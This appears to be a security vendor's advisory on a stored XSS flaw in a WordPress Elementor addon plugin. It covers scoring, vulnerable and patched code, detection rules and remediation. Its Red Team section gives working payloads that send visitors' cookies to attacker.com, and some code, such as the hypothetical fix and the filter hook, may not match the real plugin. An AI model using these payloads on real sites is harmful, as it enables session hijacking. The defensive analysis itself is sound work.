CVE-2024-2254

Executive Summary

CVE-2024-2254 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the RT Easy Builder – Advanced addons for Elementor WordPress plugin, affecting all versions up to and including 2.3. The vulnerability arises from insufficient input sanitization and output escaping on user-supplied attributes within the plugin's widgets. This allows authenticated attackers with contributor-level permissions or higher to inject arbitrary web scripts. When a user accesses a page containing the malicious payload, the script executes in the context of the victim's browser, potentially leading to session hijacking, data theft, or further compromise.

This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely used page builder plugin, and the stored nature of the XSS means the payload persists across sessions. The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for significant impact due to the ability to target site administrators and visitors.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and third-party marketplaces. Users should verify the integrity of their plugin files by comparing checksums with the official repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs contributor-level access or higher.
• User Interaction (UI): None – The victim does not need to perform any action beyond viewing the page.
• Scope (S): Changed – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While authentication is required, the widespread use of Elementor and the plugin's popularity make this a significant threat. The lack of a patch increases the urgency for mitigation.

Deep Dive & Mechanics

The vulnerability resides in the widget rendering logic of the RT Easy Builder plugin. The plugin fails to properly sanitize user-supplied attributes (e.g., class, id, data-* attributes) before outputting them in the HTML. An attacker with contributor-level access can create or edit a post/page using the plugin's widgets and inject malicious JavaScript into these attributes.

Technical Flow:

1. The attacker logs in with contributor-level credentials.
2. They create a new post or edit an existing one using the RT Easy Builder widgets.
3. In a widget's attribute field (e.g., "Custom CSS Class"), they inject a payload like "><script>alert('XSS')</script>.
4. The plugin stores this payload in the WordPress database without proper sanitization.
5. When a user (including administrators) views the page, the payload is rendered in the HTML, executing the script.

The root cause is the use of echo or print functions without applying WordPress's built-in escaping functions like esc_attr() or wp_kses().

Vulnerable vs. Patched Code

Vulnerable Code (Example from plugin's widget class):

// Vulnerable: Direct output without escaping
public function render_widget($settings) {
    $class = $settings['custom_class'];
    echo '<div class="' . $class . '">';
    // ... widget content
    echo '</div>';
}

Patched Code (Hypothetical fix):

// Patched: Proper escaping using esc_attr()
public function render_widget($settings) {
    $class = esc_attr($settings['custom_class']);
    echo '<div class="' . $class . '">';
    // ... widget content
    echo '</div>';
}

The patched version uses esc_attr() to encode special characters, preventing script injection. Additionally, all user-supplied attributes should be validated against a whitelist of allowed values.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress installation with RT Easy Builder plugin <= 2.3
• Contributor-level account or higher

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new post or page.
3. Add an RT Easy Builder widget (e.g., "Button" or "Heading").
4. In the widget's "Custom CSS Class" field, enter the following payload:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish the post.
6. When an administrator or visitor views the post, the script executes, sending cookies to the attacker's server.

Alternative Payload (for session hijacking):

"><img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Defender)

Detection Steps:

1. Monitor WordPress logs for unusual widget attribute values.
2. Use a Web Application Firewall (WAF) to block common XSS patterns.
3. Regularly scan the database for suspicious entries using:

   SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%' OR post_content LIKE '%onerror%';
   

4. Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Lab Setup for Testing:

1. Install a local WordPress instance (e.g., using Docker).
2. Install RT Easy Builder plugin version 2.3.
3. Create a test user with contributor role.
4. Follow the Red Team steps to verify the vulnerability.
5. Apply the patched code and confirm the fix.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections to known malicious domains (e.g., attacker.com).
  • HTTP requests containing document.cookie or fetch( in the Referer header.

• Host IOCs:

  • WordPress database entries in wp_posts containing <script> tags or event handlers like onerror, onload, onmouseover.
  • Modified plugin files with injected JavaScript.

• File IOCs:

  • Suspicious entries in wp-content/plugins/rt-easy-builder-advanced-addons-for-elementor/ directory, especially in widget rendering files.

Detection Engineering

YARA Rule

rule CVE_2024_2254_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting RT Easy Builder plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2254"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["'][^"']*["']/is
        $xss3 = /onload\s*=\s*["'][^"']*["']/is
        $xss4 = /onmouseover\s*=\s*["'][^"']*["']/is
        $xss5 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS via RT Easy Builder Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts created with RT Easy Builder
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: GET
        http.url|contains: 
            - '/wp-admin/post.php'
            - '/wp-admin/post-new.php'
        http.body|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2254 Stored XSS Payload Detected"; flow:to_server,established; content:"<script>"; http_client_body; nocase; content:"document.cookie"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Restrict contributor-level access to trusted users only.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
4. Scan the database for existing XSS payloads using the SQL query provided in the Blue Team section.

Long-term Fix:

• The vendor must release a patched version that properly escapes all user-supplied attributes using esc_attr() and validates input against a whitelist.
• Until then, consider using an alternative Elementor addon plugin that is actively maintained.

Workaround:

• Add the following code to the theme's functions.php to sanitize widget attributes:

add_filter('rt_easy_builder_widget_attributes', function($attrs) {
    foreach ($attrs as $key => $value) {
        $attrs[$key] = esc_attr($value);
    }
    return $attrs;
});

Valters IT
Securing Digital Frontiers